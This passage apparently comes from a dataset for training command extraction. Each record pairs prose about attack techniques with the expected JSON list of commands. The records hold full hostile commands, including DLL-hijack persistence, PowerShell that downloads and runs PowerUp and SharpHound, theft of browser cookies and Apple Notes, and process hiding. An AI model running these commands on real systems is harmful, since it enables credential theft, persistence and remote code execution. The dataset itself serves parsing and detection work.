https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To ensure WinAppXRT.dll is loaded every time a .NET application is launched, perform these steps by executing the following commands: copy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\nren %APPDATA%\\amsi.dll WinAppXRT.dll\ncopy %APPDATA%\\WinAppXRT.dll %windir%\\System32\\WinAppXRT.dll\nreg add \"HKEY_CURRENT_USER\\Environment\" /v APPX_PROCESS /t REG_EXPAND_SZ /d \"1\" /f; To execute this attack, the following steps are performed using the command: copy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\nren %APPDATA%\\amsi.dll ualapi.dll\ncopy %APPDATA%\\ualapi.dll %windir%\\System32\\ualapi.dll\nsc config Spooler start=auto\n. This involves copying and renaming amsi.dll to ualapi.dll, placing it in the System32 directory, and configuring the Print Spooler service to auto-start.",
    "output": "{\"command_list\": [\"copy %windir%\\\\System32\\\\amsi.dll %APPDATA%\\\\amsi.dll\\nren %APPDATA%\\\\amsi.dll WinAppXRT.dll\\ncopy %APPDATA%\\\\WinAppXRT.dll %windir%\\\\System32\\\\WinAppXRT.dll\\nreg add \\\"HKEY_CURRENT_USER\\\\Environment\\\" /v APPX_PROCESS /t REG_EXPAND_SZ /d \\\"1\\\" /f\\n\", \"copy %windir%\\\\System32\\\\amsi.dll %APPDATA%\\\\amsi.dll\\nren %APPDATA%\\\\amsi.dll ualapi.dll\\ncopy %APPDATA%\\\\ualapi.dll %windir%\\\\System32\\\\ualapi.dll\\nsc config Spooler start=auto\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique leverages Chrome's remote debugging functionality to access cookies, executed with the following sequence: killall 'Google Chrome'\nsleep 1\nopen -a \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/\nsleep 1\n/tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337; This AppleScript command, similar to Atomic Stealer's method, copies Safari BinaryCookies files: osascript -e 'tell application \"Finder\"' -e 'set destinationFolderPath to POSIX file \"#{destination_path}\"' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'",
    "output": "{\"command_list\": [\"killall 'Google Chrome'\\nsleep 1\\nopen -a \\\"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\\\" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/\\nsleep 1\\n/tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337\", \"osascript -e 'tell application \\\"Finder\\\"' -e 'set destinationFolderPath to POSIX file \\\"#{destination_path}\\\"' -e 'set safariFolder to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")' -e 'duplicate file \\\"Cookies.binarycookies\\\" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For proper execution, ensure domain connectivity and use the following command to import SharpHound and begin enumeration, with results saved as a BloodHound.zip file: import-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\SharpHound.ps1\"\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\ncatch { $_; exit $_.Exception.HResult}\nStart-Sleep 5\n; SharpHound will load into memory and execute against a domain when you run this command: write-host \"Remote download of SharpHound.ps1 into memory, followed by execution of the script\" -ForegroundColor Cyan\nIEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');\nInvoke-BloodHound -OutputDirectory $env:Temp\nStart-Sleep 5",
    "output": "{\"command_list\": [\"import-module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\\\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\\n\", \"write-host \\\"Remote download of SharpHound.ps1 into memory, followed by execution of the script\\\" -ForegroundColor Cyan\\nIEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');\\nInvoke-BloodHound -OutputDirectory $env:Temp\\nStart-Sleep 5\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For creating a deceptive service named win32times that resembles W32Time, execute the following command sequence as used in 'Operation Wocao': sc create win32times binPath= \"cmd /c start c:\\\\T1036.004_NonExistingScript.ps1\"\nsc qc win32times\n; To create a malicious process and conceal it by bind mounting to the /proc filesystem of a benign process, use the following command:\neval '(while true; do :; done) &'\necho $! > /tmp/evil_pid.txt\nrandom_kernel_pid=$(ps -ef | grep \"\\[.*\\]\" | awk '{print $2}' | shuf -n 1)\nsudo mount -B /proc/$random_kernel_pid /proc/$(cat /tmp/evil_pid.txt)\n",
    "output": "{\"command_list\": [\"sc create win32times binPath= \\\"cmd /c start c:\\\\T1036.004_NonExistingScript.ps1\\\"\\nsc qc win32times\\n\", \"eval '(while true; do :; done) &'\\necho $! > /tmp/evil_pid.txt\\nrandom_kernel_pid=$(ps -ef | grep \\\"\\\\[.*\\\\]\\\" | awk '{print $2}' | shuf -n 1)\\nsudo mount -B /proc/$random_kernel_pid /proc/$(cat /tmp/evil_pid.txt)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can detect virtual machine host kernel modules by executing this command: kldstat | grep -i \"vmm\"\nkldstat | grep -i \"vbox\"; Upon execution of this command, the device's hostname will be displayed: hostname.",
    "output": "{\"command_list\": [\"kldstat | grep -i \\\"vmm\\\"\\nkldstat | grep -i \\\"vbox\\\"\\n\", \"hostname\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test involves downloading SQLite databases and a dump script, then running a search with the command: cd $HOME\ncurl -O #{remote_url}/art\ncurl -O #{remote_url}/gta.db\ncurl -O #{remote_url}/sqlite_dump.sh\nchmod +x sqlite_dump.sh\nfind . ! -executable -exec bash -c 'if [[ \"$(head -c 15 {} | strings)\" == \"SQLite format 3\" ]]; then echo \"{}\"; ./sqlite_dump.sh {}; fi' \\;; This AppleScript command, similar to Atomic Stealer's technique, will duplicate the Apple Notes database files: osascript -e 'tell application \"Finder\"' -e 'set destinationFolderPath to POSIX file \"#{destination_path}\"' -e 'set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'",
    "output": "{\"command_list\": [\"cd $HOME\\ncurl -O #{remote_url}/art\\ncurl -O #{remote_url}/gta.db\\ncurl -O #{remote_url}/sqlite_dump.sh\\nchmod +x sqlite_dump.sh\\nfind . ! -executable -exec bash -c 'if [[ \\\"$(head -c 15 {} | strings)\\\" == \\\"SQLite format 3\\\" ]]; then echo \\\"{}\\\"; ./sqlite_dump.sh {}; fi' \\\\;\\n\", \"osascript -e 'tell application \\\"Finder\\\"' -e 'set destinationFolderPath to POSIX file \\\"#{destination_path}\\\"' -e 'set notesFolderPath to (path to home folder as text) & \\\"Library:Group Containers:group.com.apple.notes:\\\"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file \\\"NoteStore.sqlite\\\", file \\\"NoteStore.sqlite-shm\\\", file \\\"NoteStore.sqlite-wal\\\"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing a .inf file with InfDefaultInstall.exe, run this command: InfDefaultInstall.exe \"#{inf_to_execute}\"; When successfully performed, this attack vector will launch Microsoft Word with a blank document via the command: FOR /F \"tokens=2*\" %a in ('reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Winword.exe\" /V PATH') do set microsoft_wordpath=%b\ncall \"%microsoft_wordpath%\\protocolhandler.exe\" \"ms-word:nft|u|#{remote_url}\"",
    "output": "{\"command_list\": [\"InfDefaultInstall.exe \\\"#{inf_to_execute}\\\"\\n\", \"FOR /F \\\"tokens=2*\\\" %a in ('reg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Winword.exe\\\" /V PATH') do set microsoft_wordpath=%b\\ncall \\\"%microsoft_wordpath%\\\\protocolhandler.exe\\\" \\\"ms-word:nft|u|#{remote_url}\\\"\\n\"]}"
  },
  {
